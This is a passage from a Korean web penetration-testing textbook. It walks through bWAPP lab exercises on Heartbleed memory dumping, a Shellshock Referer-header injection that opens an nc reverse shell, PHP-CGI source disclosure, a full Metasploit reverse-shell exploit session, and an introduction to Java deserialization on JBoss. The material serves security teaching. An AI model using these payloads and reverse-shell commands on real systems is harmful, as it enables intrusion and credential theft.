그러나 프로젝트의 규모에 따라 프로젝트에 포함되는 라이브러리의 수 역시 증가 하는데 특히 오픈소스를 많이 활용하는 최근 추세에는, 대형 프로젝트 같은 경우 포함되는 오픈소스가 수백 개, 수천 개가 되기도 합니다. 이러한 현실에서 각 라이브러리의 알려진 취약점을 일일이 추적하는 것은 점점 어려운 일이 되어 가고 있습니다. 또한 프로젝트 초기에는 비록 사용하고 있는 라이버러리에 알려진 취약점이 없다는 것을 잘 확인했다고 하더라도, 향후 해당 라이브러리의 새로운 취약점이 공개된 것을 모르고 지나칠 수도 있습니다. 이와 같은 상황에서는 알려진 취약점 공격에 쉽게 노출될 수 있습니다.

하트블리드 취약점 공격 실습

하트블리드(Heartbleed) 취약점은 지금까지 알려진 취약점 중에서도 가장 유명하다고 할 수 있는 취약점 입니다. 2014년에 공개되었으며 HTTPS 프로토콜의 근간이 되는 SSL/TLS 프로토콜을 구현한 OpenSSL 라이브러리중 1.0.1 - 1.0.1f 버전에 존재하는 취약점 입니다. 원래 HTTPS로 구현된 웹사이트들은 안전하다고 알려져 있지만 하트비트(heartbeat)라는 확장 기능에서 발견되었기 때문에, 하트블리드라는 이름이 명명되었습니다.

참고원래 취약점이 공개되면 CVE-[발견연도]-[일련번호]와 같은 CVE ID가 지정되어 관리되며, 대부분의 잘 알려진 취약점들은 CVE ID가 지정되어 있습니다. 하트블리드 취약점 역시 CVE-2014-0160의 ID가 지정되어 있습니다. 그런데 하트블리드 취약점을 기점으로 영향력이 큰 심각한 취약점들을 브랜드화하여 별도의 독립적인 이름으로 명명하는 것이 유행처럼 되기 시작했습니다. 이와 같이 취약점이 블렌딩된 또 다른 사례로는 쉘쇼크 취약점이 있으며, 그 밖에도 더티카우, 멜트다운, 스펙터 등의 유명한 취약점 등 역시 CVE ID 이외에도 별도의 이름을 가지고 있습니다.

그림 12-2-1유명한 취약점 하트블리드의 홈페이지

하트블리드 취약점을 이용하면 공격자는 웹 서버 호스트의 메모리를 읽을 수 있게 되어 사용자의 로그인 정보 및 그 밖에 노출되면 안 되는 정보들을 탈취할 수 있게 됩니다.

bWAPP의 A9 아래를 보면 하트블리드 실습 메뉴를 찾을 수 있습니다.

실습목표

하트블리드 취약점 공격으로 사용자 계정 정보가 노출될 수 있음을 확인해 봅니다.

그림 12-2-2하트블리드 실습 페이지

실습 페이지의 내용은 다음과 같습니다.

Nginx 웹 서버가 취약한 OpenSSL 버전을 사용하고 있습니다.
힌트 : 8443 포트로 로그인하고 공격 스크립트를 실행하세요.
                                            

여기서 소개된 8443번 포트는 HTTPS 프로토콜로 접속해야 하는 포트입니다. 원래 HTTPS 프로토콜로 접속하게 되면 모든 통신의 내용이 암호화되어 전송되기 때문에 통신 내용이 노출되지 않아야 정상입니다. 그러나 bWAPP에서 사용하는 라이브러리에 하트블리드 취약점이 있기 때문에, 로그인 시 사용된 패스워드 등의 사용자 정보가 노출될 수 있습니다. 다음 실습을 통해 확인해 보겠습니다.

힌트의 내용대로 실습을 진행해 보겠습니다. 우선, 페이지에 링크된 공격 스크립트를 다운로드해 둡니다. attack script 부분을 누르면 스크립트를 다운로드할 수 있습니다. 다운로드가 완료되면 /root/Downloads 폴더 아래에 heartbleed.py 파일이 생성됩니다.

이제 웹 브라우저에서 실습용 가상 머신의 8443번 포트로 접속해 봅니다. 프로토콜로 구현되어 있기 때문에, 웹 브라우저의 주소창에 다음과 같이 https 프로토콜을 앞에 추가하여 접속해야 합니다.
https://192.168.75.131:8443

처음 HTTPS로 접속하게 되면 다음과 같이 에러가 발생할 수 있습니다. 웹 브라우저가 실습용 가상 머신에서 제공하는 인증서를 신뢰하지 못하기 때문입니다.

그림 12-2-3인증서 관련 에러 화면

그림 12-2-3은 Advanced 버튼을 눌렀을 때 표시된 화면입니다. 화면 내의 Add Exception 메뉴를 눌러 사이트를 예외로 추가하면 해당 사이트에 접속할 수 있습니다.

그림 12-2-4예외 추가 화면

그림 12-2-4 화면에서는 왼쪽 아래에 있는 Confirm Security Execution 버튼을 눌러 예외 처리를 확인합니다.

이제 bWAPP로 접속한 후 ,새롭게 로그인 해 봅니다. 혹시 이전 로그인 상태가 남아 있다면 로그아웃 후 메인화면에서 다음과 같이 로그인을 합니다.

그림 12-2-5bWAPP에 로그인 시도 - 8443번 포트를 확인한다.

로그인을 완료하고 난 다음에는 터미널에서 공격 스크립트를 실행합니다. 일단은 스크립트의 사용법을 알기 위해 -h 옵션을 사용하거나, 아예 옵션을 설정하지 않고 실행해 봅니다.

그림 12-2-6공격 스크립트 사용법과 옵션

Usage의 내용으로부터 사용법을 알 수 있습니다. 공격 스크립트 다음에 서버 주소를 입력하면 도비니다. 추가로 -p 옵션을 이용하여 포트를 지정할 수 있지만, 기본값이 8443으로 설정되므로 이 실습의 경우에는 포트를 지정하지 않아도 상관없습니다.

그림 12-2-7공격 스크립트 실행

스크립트를 실행하고 나면 결과가 출력됩니다. Received heartbeat response: 뒤에, 서버의 메로리의 내용이 덤프됩니다. 스크롤을 위로 올려서 덤프된 결과의 초반부를 보면, 다음과 같이 로그인을 시도 했을 때의 요청 메시지가 노출된 것을 확인할 수 있습니다.

그림 12-2-8로그인 정보가 출력되고 있다.

그림 12-2-8의 0210~0230 라인을 보면 login=bee&password=bug와 같은 중요한 정보가 노출된 것을 알 수 있습니다. 혹시 내용이 다르게 표시된다면 한 번 더 bWAPP에 로그인 한 후 스크립트를 실행해 보세요.

하트블리드 취약점을 이용해서 사용자 정보를 알아낼 수 있었습니다.

쉘쇼크 취약점 공격과 리버스 쉘 실습

쉘쇼크(shellshock)는 bash 쉘의 취약점 입니다. 쉘쇼크 취약점의 CVE ID는 CVE-2014-6271 입니다. 쉘쇼크 취약점은 하트블리드와 마찬가지로 2014년에 공개되어 패치 버전이 발표되었는데, 이 취약점은 1989년 9월 릴리즈된 Bash 1.03 버전에서부터 존재해온 것으로 알려져 있습니다. Bash는 유닉스 계열 시스템의 기본 프로그램이므로 약 15년 동안 수많은 시스템에 위험이 도사리고 있었던 것입니다.

새롭게 발견되는 취약점 중에는 이와 같이 오랜 기간 동안 발견되지 않은 취약점들도 있습니다. 2016년에 발견된 더티 카우(CVE-2016-5195) 리눅스 커널 취약점 역시 약 9년간 발견되지 않은 채 존재한 것으로 알려져 있습니다.

그림 12-3-1쉘쇼크 위키피디아 페이지 - 하트블리드와 비슷한 로고가 눈에 띈다.

쉘쇼크는 시스템 환경변수에 다음과 같이 특정 패턴의 문자열과 함께 임의의 명령어가 저장되어 있으면 쉘이 실행될 때 해당 명령어가 실행되는 취약점입니다.

() { :;} <command>

다음 한 줄의 명령문은 쉘쇼크 취약점이 공개될 때 쉘쇼크 취약 여부를 테스트해보기 위해 알려진 명령문으로 이를 이용하면 시스템이 쉘쇼크에 취약한지 간단하게 확인할 수 있습니다.

env x='() { :;}; echo vnlnerable' bash -c 'echo this is test'

이 명령문은 x 환경 변수에 쉘쇼크 공격 패턴과 명령어를 지정한 뒤 bash 쉘을 실행하여 지정한 명령어가 실행되는지 확인합니다. 따라서 터미널을 열어 명령문을 실행해보면 쉘표크에 취약한 시스템에는 (){:;}; 뒤에 추가된 echo vnlnerable 명령이 실행되게 됩니다.

좀더 눈에 잘 띄도록 vnlnerable을 DANGER이라는 문자열로 바꾸고 실습용 가상 머신의 터미널에서 실행해보았습니다.

그림 12-3-2쉘쇼크에 취약한 경우 echo 명령어가 실행되어 DANGER가 출력된다.

실습용 가상 머신의 경우 쉘쇼크에 취약하기 때문에 echo 명령어가 실행되어 DANGER가 출력된 것을 확인할 수 있습니다. 이에 반해 칼리 리눅스의 경우, 쉘쇼크에 취약하지 않기 때문에 다음과 같이 DANGER 문자열이 표시되지 않습니다.

그림 12-3-3쉘쇼크에 취약하지 않은 경우 DANGER 문자열이 표시되지 않는다.

쉘쇼크가 더욱 큰 문제가 되었던 이유는, CGI로 구현된 웹 애플리케이션의 경우 요청 헤더가 환경 변수로 저장됨으로써, 웹을 통해 쉘쇼크 공격이 가능하여 그 피해가 광범위했기 때문입니다.

실습목표

요청 메시지의 레퍼러 헤더를 통해 쉘쇼크 공격을 시도하여 리버스 쉘을 획득해 봅니다.

그림 12-3-4쉘쇼크 실습 페이지

실습 페이지의 내용은 다음과 같습니다.

사용된 Bash 버전이 쉘쇼크 버그에 취약합니다.
힌트 : 레퍼러(referer) 헤더를 공격하여 이 시스템으로 침투해 보세요.

이것은 저의 첫번째 Bash 스크립트입니다 :)
현재 사용자: www-data

이 중에서 마지막에 표시된 두 줄은 실습 페이지의 원래 내용이 아니라, 실습 페이지에서 <iframe>을 통해 요청한 shellshock.sh 쉘 스크립트의 실행 결과로 출력된 것입니다. 실습 페이지의 페이지 소스코드를 보면 iframe 태그가 사용된 것을 확인 할 수 있습니다.

그림 12-3-5iframe 태그로 shellshock.sh를 요청한다(59번째 줄)

버프 스위트 프록시 히스토리를 통해서도 shellshock.php에 대한 요청 다음에 shellshock.sh가 요청(그림 12-2-5의 8904 요청 항목)된 것을 확인할 수 있습니다.

그림 12-3-6프록시 히스토리 기능으로 shellshock.sh 요청을 확인한다.

shellshock.sh가 요청되면 bash에 의해 쉘 스크립트가 실행됩니다. 이때 쉘쇼크 취약점이 존재하므로, shellshock.sh를 요청하는 헤더에다가 쉘쇼크 공격 코드를 삽입하여 전송하면 원하는 명령을 실행할 수 있게 됩니다. 뒤의 실습 과정에서 버프 스위트 리피터 기능을 이용해서 요청 메시지의 레퍼러 헤더에 공격 코드를 입력한 후 sheelshock.sh를 요청해 보겠습니다.

한편 쉘쇼크 공격은 명령어 실행이 가능한 공격입니다. 웹 모의해킹을 하는 과정에서 이와 같이 원격 명령어나 원격 코드 실행(RCE)이 가능한 경우 모의해킹 전문가들은 명령어를 실행함으로써 쉘을 획득하여 호스트로 침투한 후 추가로 공격을 진행시켜 갑니다.

쉘을 획득하는 기법에는 바인드 쉘과 리버스 쉘이 있습니다. 이 두 가지는 쉘을 생성하기 위한 접속 방향에 따라서 구분됩니다. 알다시피 두 호스트가 통신을 할 때에는 접속을 요청하는 쪽이 클라이언트, 접속을 기다리는 쪽을 서버라고 합니다. 웹 아키덱처의 예를 들면, 웹사이트에 접속하는 사용자 측이 클라이언트, 웹사이트가 서버가 되겠지요.

바인드 쉘(bind shell) 기법은 공격자가 서버 쪽에 리스닝 포트를 열어 접속을 기다리도록 만든 후, 공격자 클라이언트에서 서버로 접속하여 쉘을 획득하는 공격 방법입니다. 즉 공격자 호스트가 클라이언트, 침투에 성공한 공격 대상이 서버가 되는 것입니다.

이에 반해 리버스 쉘(reverse shell) 기법은 공격 대상 쪽에서 공격자의 호스트로 접속하도록 만들어 리버스, 즉 역방향으로 쉘을 생성하는 공격 기법입니다. 이때에는 공격자가 호스트 서버, 침투에 성공한 공격 대상이 클라이언트가 됩니다. 리버스 쉘 기법은 주로 방화벽을 우회하기 위한 용도로 사용하는 기법입니다. 일반적인 기업 네트워크 환경에서는 내부에서 외부로의 접속은 허용되어 있어도 외부에서 내부로의 접속은 방화벽에 의해 차단되기 때문입니다. 이 섹션에서는 쉘쇼크 공격 이후 리버스 쉘 기법을 사용합니다.

리버스 쉘을 생성시키기 위해서, 이 실습에서는 nc라는 명령어를 사용할 것입니다. nc는 네트워크 통신을 위한 프로그램입니다. nc는 클라이언트 모드, 서버 모드 양쪽 모두로 구동될 수 있기 때문에, 두 개의 호스트에서 각각 nc 프로그램을 이용하여 서로 통신을 할 수 있습니다.

리버스 쉘 기법에서는 공격자의 호스가 서버가 됩니다. 따라서 공격자의 호스트, 즉 칼리 리눅스에서 터미널을 열고 다음 nc 명령문을 사용하여 리스닝 모드로 포트를 생성합니다.

nc -lvnp <포트번호>

사용된 옵션은 다음과 같습니다.

  • -l : nc를 리스닝 모드로 동작시킨다. nc가 서버의 역할을 하게 된다.
  • -v : nc 실행 중 발생하는 메시지를 출력한다. 접속이 들어오면 그 내용을 알려준다.
  • -n : 호스트 주소나 포트를 숫자 형태로 표시한다.
  • -p : 리스닝 모드에서 사용할 포트 번호를 지정한다.

이렇게 동작하고 있는 nc 서버로 접속하여 쉘을 획득하기 위해서는 원격에서 다음과 같이 실행하면 됩니다.

nc <공격자 호스트 IP 주소> <포트번호> -e /bin/bash

이 명령문이 실행되면, nc 명령어 뒤에 지정된 IP 주소와 포트로 접속하게 되는데, -e 옵션은 접속이 이루어진 후 실행할 명령어를 지정하는 옵션입니다. /bin/bash 를 지정하게 되면 bash 쉘이 생성됩니다.

정리 하자면 칼리 리눅스에 nc 명령문을 서버로 실행하고, 취약점이 있는 공격 대상에서 nc 명령문을 사용하게 접속한 후 쉘을 실행하는 것입니다.

bWAPP의 쉘쇼크 실습 페이지를 이용한 실습 과정을 간단하게 정리하면 다음과 같습니다.

  1. 칼리 리눅스에서 nc를 서버 모드로 실행한다.
  2. 요청 메시지의 레퍼러 헤더에 쉘쇼크 공격 패턴을 삽입한 후, nc를 클라이언트 모드로 실행하여 칼리 리눅스로 접속한다.
  3. 접속으로 생성된 쉘을 통해 포스트 익스플로잇을 수행한다.

이제 본격적으로 실습해 보겠습니다. 칼리 리눅스에서 터미널을 하나 생성하고 다음과 같이 입력하여 4000번 포트로 리스닝합니다.

nc -lvnp 4000

그림 12-3-6에서 확인한 shellshock.sh 요청을 마우스 우클릭 메뉴를 사용하여 리피터로 보내고 리피터 기능에서 레퍼러 헤더의 값을 다음과 같이 변경합니다. (그림 12-2-6 참조)

() { :;}; /bin/nc 192.168.75.131 4000 -e /bin/bash

() { :;}; 쉘쇼크 공격 패턴 뒤에 nc를 이용하여 칼리 리눅스에서 리스닝하고 있는 4000번 포트로 접속하도록 했습니다. 참고로 nc 명령어를 실행하기 위해 /bin/nc와 같이 nc 명령어의 전체 경로를 지정해 주었는데, 그 이유는 shellshock.sh이 실행될 때 PATH 환경 변수 설정이 되어 있지 않아서 전체 경로를 입력해야만 명령어를 실행할 수 있기 때문입니다.

그림 12-3-7레퍼러 헤더에 공격 코드 삽입

레퍼러 헤더를 수정한 후 Go 버튼을 울러 전송하면, 접속이 들어온 것을 nc가 실행 되고 있는 칼리 리눅스 터미널에서 확인할 수 있습니다.

이제 터미널을 통해 각종 명령어를 실행할 수 있습니다. 다만 처음 생성된 쉘은 프롬프트가 표시되지 않는 아주 간단한 쉘입니다. 고급 기법으로 원격 호스트에 파이썬이 설치되어 있으면 다음 명령어를 사용하여 프롬프트가 표시되는 쉘로 업그레이드 할 수 있습니다.

python -c 'import pty; pty.spawn("/bin/bash");'

그림 12-3-8쉘코드 공격으로 리버스 쉘 침투 성공

쉘쇼크 취약점을 공격하여 리버스 쉘로 호스트 침투에 성공했습니다.

다만, 쉘을 획득하긴 했지만 id 명령어의 결과에서 보듯이 www-data라는 일반 사용자 권한을 획득한 것입니다. 이 상태에서는 root 권한이 아니기 때문에 특정 파일의 접근이나 명령을 실행하여 추가 공격을 진행해 나가는 데 제한이 있습니다. 이와 같이 제한된 사용자의 권한으로 쉘을 획득한 경우, 실제 공격 시나리오에서는 추가로 루트 권한을 획득하기 위한 권한 상승 공격으로 이어지게 됩니다.

메타스플로잇을 활용한 PHP-CGI 취약점 공격

PHP 버전 5.3.12 와 5.4.2 이전 버전에는 소스코드가 노출되거나 공격자가 임의의 코드를 실행할 수 있는 취약점(CVE-2012-1823)이 존재합니다. 이 취약점은 요청 URI의 쿼리스트링 부분을 잘못 처리함으로써 발생합니다. 오래된 버전의 소프트웨어를 사용하는 경우 알려진 취약점에 의해 공격당할 수 있습니다.

실습목표

PHP-CGI 취약점에 의해 소스코드가 노출될 수 있는 것을 확인하고, 메타스플로잇 프레임워크를 이용하여 리버스 쉘을 획득해 봅니다.

소스코드 노출

우선 웹 브라우저를 이용하여 /bWAPP/admin/ 경로로 접속해 봅니다. 관리자 포털 페이지가 표시됩니다. 이번에는 웹 브라우저의 주소창에서 경로 뒤에 추가로 ?를 입력한 후 쿼리스트링 부분에 -s를 입력해 봅니다.

그림 12-4-1PHP-CGI 취약점으로 소스코드가 노출된다.

그림 12-4-1과 같이 admin 페이지의 PHP 소스코드가 출력됩니다.

원래 PHP 웹 애플리케이션은 PHP로 작성된 코드가 서버에서 실행된 후, 그 결과가 HTML이나 자바스크립트의 형태로만 웹페이지에 표시되어야 합니다. 만약 PHP 소스코드가 노출되면, 그 웹 애플리케이션의 내부 로직이 드라나게 되고, 공격자가 이를 분석하여 이차 공격을 시도할 수 있게 됩니다.

메타스플로잇을 이용한 공격

소스코드가 노출 되는 결과만 하더라도 PHP 언어가 웹 개발에서 차지하는 비중을 생각하면 파급력이 큰 취약점이지만, 더욱 심각한 문제는 이 취약점을 이용하여 임의의 코드 실행이 가능하다는 것입니다.

많은 공격자들과 모의해킹 전문가들은 알려진 취약점을 공격(익스플로잇)하고자 할때 메타스플로잇(Metasploit)이라는 소프트웨어를 사용하기도 합니다. 메타스플로잇은 종합 익스플로잇 프레임워크이며, 비단 웹 모의해킹뿐만 아니라 시스템 해킹을 비롯한 모든 분야의 모의해킹을 수행하는 데 사용되는 소프트웨어이기 때문에 모의해킹 시 알아야 할 필수 중의 필수 프로그램이라고 할 수 있습니다. 메타스플로잇을 이용하여 공격에 성공하면, 대개 그 결과로 쉘을 획득할 수 있습니다.

메타스플로잇은 수천 개의 모듈을 내장한 아주 방대한 소프트웨어입니다. 이 섹션에서는 메타스플로잇을 이용하여 php-cgi 취약점을 공격해가는 과정에서 필요한 내용만 살펴보겠습니다.

메타스플로잇은 칼리 리눅스 메인화면 왼쪽의 즐겨찾기 메뉴에 있는 아이콘을 눌러 실행할 수 있습니다. 실행하면 터미널이 생성되고 그림과 같이 사용자의 입력을 기다리는 상태가 됩니다.

그림 12-4-2메타스플로잇 실행 화면

메타 스플로잇의 공격과정은 크게 다음과 같이 이루어집니다.

  • search 명령어로 공격 모듈을 검색한다.
  • use 명령어로 공격 모듈 설정 단계로 진입한다.
  • show options 명령어로 옵션을 확인하고 set 명령어로 필요한 옵션을 설정한다.
  • 공격에 성공하게 되면 실행할 페이로드(payload)를 설정한다. 일반적으로 바인드 쉘이나 리버스 쉘 등 쉘을 획득하는 페이로드를 설정한다.
  • run 명령어를 실행하여 공격을 수행한다.
  • 공격에 성공하면 페이로드가 실행되고 이후 포스트 익스플로잇 과정을 수행한다.

실습 역시 이와 같은 공격 과정대로 진행하겠습니다. 먼저 search 명령어를 사용하여 공격 모듈을 찾습니다. php_cgi로 검색합니다.

msf > search php_cgi

Matching Modules
================

Name                                      Disclosure Date  Rank       Description
----                                      ---------------  ----       -----------
exploit/multi/http/php_cgi_arg_injection  2012-05-03       excellent  PHP CGI Argument Injection


msf > 

php_chi_arg_injection 모듈이 검색되었습니다. 이 공격 모듈을 사용하기 위해 use 명령어 뒤에 해당 모듈의 이름을 입력하여 모듈을 설정할 수 있는 단계로 이동합니다.

msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(multi/http/php_cgi_arg_injection) > 

show options 명령어를 실행하여 공격 모듈을 실행하기 위한 옵션을 확인합니다.

msf exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

Name         Current Setting  Required  Description
----         ---------------  --------  -----------
PLESK        false            yes       Exploit Plesk
Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
RHOST                         yes       The target address
RPORT        80               yes       The target port (TCP)
SSL          false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI                     no        The URI to request (must be a CGI-handled PHP script)
URIENCODING  0                yes       Level of URI URIENCODING and padding (0 for minimum)
VHOST                         no        HTTP server virtual host


Exploit target:

Id  Name
--  ----
0   Automatic


msf exploit(multi/http/php_cgi_arg_injection) > 

각 옵션의 이름(name), 현재 설정(Current Setting), 필수 옵션 여부(Required), 옵션 설명(Description)이 출력됩니다.

옵션 중에서 필수 옵션들은 모듈을 사용하기 위해 필수적으로 설정해야 하는 옵션들입니다. 기본값이 이미 지정되어 있는 경우에는 그 값을 그대로 사용해도 됩니다. (물론 상황에 따라서 설정 변경이 필요한 경우도 있습니다.)

현재 표시된 필수 옵션 중에서 RHOST 옵션은 기본값이 설정되어 있지 않으므로 설정해야 합니다. RHOST는 공격 대상의 IP 주소를 설정하는 옵션으로 bWAPP의 주소를 설정하면 됩니다.

모듈에 따라 필수 옵션이 아니더라도 공격에 성공하기 위해서는 별도로 설정해야 하는 옵션이 있을 수 있습니다. 이 실습에서는 TARGETURI 옵션이 그런 경우입니다. TARGETURI는 취약점이 존재하는 경로를 설정하는 옵션입니다. PHP-CGI 취약점이 루트 경로에 있는 것이 아니라 /bWAPP/admin/ 경로에 있기 때문에 /bWAPP/admin/ 경로로 설정해야 합니다. 옵션 설정은 다음과 같이 set 명령어를 이용해서 할 수 있습니다.

msf exploit(multi/http/php_cgi_arg_injection) > set rhost 192.168.75.131
rhost => 192.168.75.131
msf exploit(multi/http/php_cgi_arg_injection) > set TARGETURI /bWAPP/admin/
TARGETURI => /bWAPP/admin/
msf exploit(multi/http/php_cgi_arg_injection) >

마지막으로 페이로드를 설정합니다. show payloads 명령어로 페이로드 목록을 확인할 수 있습니다.

msf exploit(multi/http/php_cgi_arg_injection) > show payloads

Compatible Payloads
===================

Name                                Disclosure Date  Rank    Description
----                                ---------------  ----    -----------
generic/custom                                       normal  Custom Payload
generic/shell_bind_tcp                               normal  Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp                            normal  Generic Command Shell, Reverse TCP Inline
php/bind_perl                                        normal  PHP Command Shell, Bind TCP (via Perl)
php/bind_perl_ipv6                                   normal  PHP Command Shell, Bind TCP (via perl) IPv6
php/bind_php                                         normal  PHP Command Shell, Bind TCP (via PHP)
php/bind_php_ipv6                                    normal  PHP Command Shell, Bind TCP (via php) IPv6
php/download_exec                                    normal  PHP Executable Download and Execute
php/exec                                             normal  PHP Execute Command 
php/meterpreter/bind_tcp                             normal  PHP Meterpreter, Bind TCP Stager
php/meterpreter/bind_tcp_ipv6                        normal  PHP Meterpreter, Bind TCP Stager IPv6
php/meterpreter/bind_tcp_ipv6_uuid                   normal  PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
php/meterpreter/bind_tcp_uuid                        normal  PHP Meterpreter, Bind TCP Stager with UUID Support
php/meterpreter/reverse_tcp                          normal  PHP Meterpreter, PHP Reverse TCP Stager
php/meterpreter/reverse_tcp_uuid                     normal  PHP Meterpreter, PHP Reverse TCP Stager
php/meterpreter_reverse_tcp                          normal  PHP Meterpreter, Reverse TCP Inline
php/reverse_perl                                     normal  PHP Command, Double Reverse TCP Connection (via Perl)
php/reverse_php                                      normal  PHP Command Shell, Reverse TCP (via PHP)

msf exploit(multi/http/php_cgi_arg_injection) > 

이 중에서 리버스 쉘을 생성하는 generic/shell_reverse_tcp 페이로드를 사용해 보겠습니다. 메타스플로잇 사용에 익숙한 분들은 다른 페이로드를 사용해도 상관 없습니다. set payload 명령어로 페이로드를 지정할 수 있습니다. 그런 다음 show option 명령어로 페이로드를 위한 옵션을 다시 확인합니다. 일반적으로 리버스 쉘 페이로드의 경우 LHOST와 LPORT 옵션을 설정하도록 되어 있습니다. LHOST와 LPORT는 리버스 쉘에서 접속을 기다리게 될 로컬 호스트의 IP 주소와 포트입니다. set 명령어를 이용하여 LHOST에 칼리 리눅스의 IP 주소를 입력합니다. LPORT는 지정되어 있는 기본값을 사용해도 되고, 원하는 포트를 새로 지정해도 됩니다.

다음은 페이로드 설정까지 마친 후의 최종 옵션 설정입니다.

msf exploit(multi/http/php_cgi_arg_injection) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf exploit(multi/http/php_cgi_arg_injection) > set lhost 192.168.75.130
lhost => 192.168.75.130
msf exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

Name         Current Setting  Required  Description
----         ---------------  --------  -----------
PLESK        false            yes       Exploit Plesk
Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
RHOST        192.168.75.131   yes       The target address
RPORT        80               yes       The target port (TCP)
SSL          false            no        Negotiate SSL/TLS for outgoing connections
TARGETURI    /bWAPP/admin/    no        The URI to request (must be a CGI-handled PHP script)
URIENCODING  0                yes       Level of URI URIENCODING and padding (0 for minimum)
VHOST                         no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST  192.168.75.130   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port


Exploit target:

Id  Name
--  ----
0   Automatic


msf exploit(multi/http/php_cgi_arg_injection) > 

설정을 모두 마쳤으면 run 명령어를 입력하여 익스플로잇을 실행합니다. 공격이 자동으로 진행된 후 공격에 성공하면 쉘이 생성됩니다.

그림 12-4-3메타스플로잇으로 쉘 획득에 성공했다.

쉘쇼크 공격 때와 마찬가지로 www-data 사용자의 권한을 획득했습니다. 공격자는 이후 루트 권한을 획득하기 위한 권한 상승 공격을 시도해 나가게 됩니다.

자바 역직렬화 취약점 개요

자바 역직렬화 취약점은 발견되면 공격자가 원격에서 코드가 실행할 수 있는 RCE(Remote Code Execution) 공격으로 이어지기 때문에 매우 심각한 영향을 줄 수 있는 취약점입니다.

그림 13-1-1자바의 직렬화 및 역직렬화

자바 프로그램상에서 어떤 객제가 생성되면 그 객체는 메모리에 상주하게 되고, 프로그램이 실행되는 동안 필요에 따라 사용됩니다.

그런데 프로그램이 종료되면 메모리에 있던 객체는 사라지게 됩니다. 객체에는 지금까지 프로그램이 사용하면서 저장한 데이터가 이쓴ㄴ데, 그 데이터를 다음 번 프로그램 실행 시에도 계속해서 사용해야 한다면, 메모리에 상주하던 객체와 그 데이터를 파일이나 데이터베이스 등에 저장해 두어야 할 것입니다. 이때 저장을 하기 위해 객체를 바이트 스트림이라는 순차적인 데이터로 변환하는 과정을 거치는데, 이것을 직렬화라고 합니다. 역직열화는 이와 반대로 저장되어 있는 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 다시 불러오는 과정입니다.

참고혹시 고전 게임을 해본 사람이라면, 게임을 종료하기 전에 데이터를 저장(save)하고 로드(load)한 적이 있을 것입니다. 어려운 최종 보스를 깨기 위해 세이브/로드 신공을 사용한 적도 있을 것입니다. 세이브 직전의 모든 상황이 파일에 기록되고 이것을 로드하면 그 상황이 그대로 게임상에서 다시 적용되기 때문입니다. 직렬화/역직렬화 과정을, 비록 완전히 동일하다고 볼 수는 없지만, 이와 같은 세이브/로드 과정에 비유할 수 있습니다.

추가로 직렬화와 역직렬화는 객체 데이터를 네트워크를 통해 전송할 때에도 사용할 수 있습니다. 따라서 직렬화와 역직렬화를 이용하여, 하나의 호스트 내에서 여러 개의 프로세스(또는 프로그램)가 동일한 객체를 사용할 수 있도록 할 수도 있고, 인터넷을 통해 여러 호스트의 프로그램이 동일한 객체를 사용하는 것도 가능해집니다.

그림 13-1-1 의 바이트 스트림에 표시된 aced0005라는 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 뒤에 오는 데이터가 직렬화된 데이터라는 것을 알려 주는 매직 바이트 입니다. 참고 삼아 알아두면, 네트워크 분석이나 자바 애플리케이션 분석 등의 과정에서 역직렬화가 일어나는 위치에 대한 힌트를 얻을 수 있을 것입니다.

역직렬화가 수행되는 곳이 있다면 공격자는 직렬화된 바이트 스트림을 조작하거나 또는 임의의 바이트 스트림을 애플리케이션에 전송함으로써 자바 소프트웨어에 공격을 가할 수 있습니다. 실습용 가상 머신에는 자바 역직렬화 취약점을 가지고 있는 자바 애플리케이션 개발 프레임워크(미들웨어라고도 합니다.) JBoss 4.2.3.GA 버전이 설치되어 있습니다. 이것을 대상으로 자바 역직렬화 취약점 공격을 실습해 보겠습니다. 이 실습 역시 알려진 취약점을 이용한 공격의 일종이라고 볼 수 있습니다.

자바 역직렬화 취약점 공격 실습

실습목표

ysoserial 을 이용해 자바 역직렬화 취약점을 공격하여 루트 권한의 쉘을 획득해 봅니다.

JBoss 4.2.3.GA는 8080번 포트를 통해 서비스되도록 설치되어 있습니다. 따라서 웹 브라우저의 주소 입력란에 실습용 가상 머신의 IP 주소와 그 뒤에 :8080을 추가하여 8080번 포트로 접속합니다.

그림 13-2-18080번 포트로 접속한 JBoss 초기 화면

우선 직렬화된 데이터가 어떤 식으로 표시되는지 알아보기 위해, 버프 스위트를 실행해놓고 다음 URL로 접속해 봅니다.

/invoker/JMXInvokerServlet

그림 13-2-2/invoker/JMXInvokerServlet 요청

그림 13-1-2와 같이 application/x-java-serialized-object 타입의 파일이 전송되어 다운로드하는 창이 표시됩니다. 이 타입을 통해 직렬화된 데이터가 전달되고 있다는 것을 알 수 있습니다. 꼭 이 타입을 확인하지 않더라도, 버프 스위트 등에서 전달되는 메시지의 내용을 보고 알 수도 있습니다.

버프 스위트 프록시 탭의 히스토리에서 해당 요청을 확인해 봅니다. 버프 스위트의 필터는 기본적으로 일반적으로 사용되는 웹 응답 타입만 표시하도록 설정되어 있기 때문에, 필터에서 'Filter by MIME type'에서 Other Binary를 체크해야 해당 요청이 히스토리에 표시될 것입니다.

메시지의 내용을 보여주는 아래 윈도우에는 Response 탭을 눌러보면 응답 메시지를 확인할 수 있는데, 응답 메시지 바디에는 일반적인 HTML 코드 대신 생소한 문자열들이 표시됩니다.

그림 13-2-3직렬화된 데이터가 전달되는 응답 메시지 확인

Response 탭 아래의 Hex 탭을 누르면 메시지의 헥스 값을 확인할 수 있습니다.

그림 13-2-4헥스 코드에서 ac ed 00 05가 확인된다.

바디가 시작하는 부분, 즉 Connection: close 헤더가 끝난 부분의 헥스 값을 보면 직렬화된 데이터임을 알려주는 패턴인 ac ed 00 05가 보입니다. 이를 통해 직렬화된 데이터가 전달되고 있는 것을 알 수 있습니다.

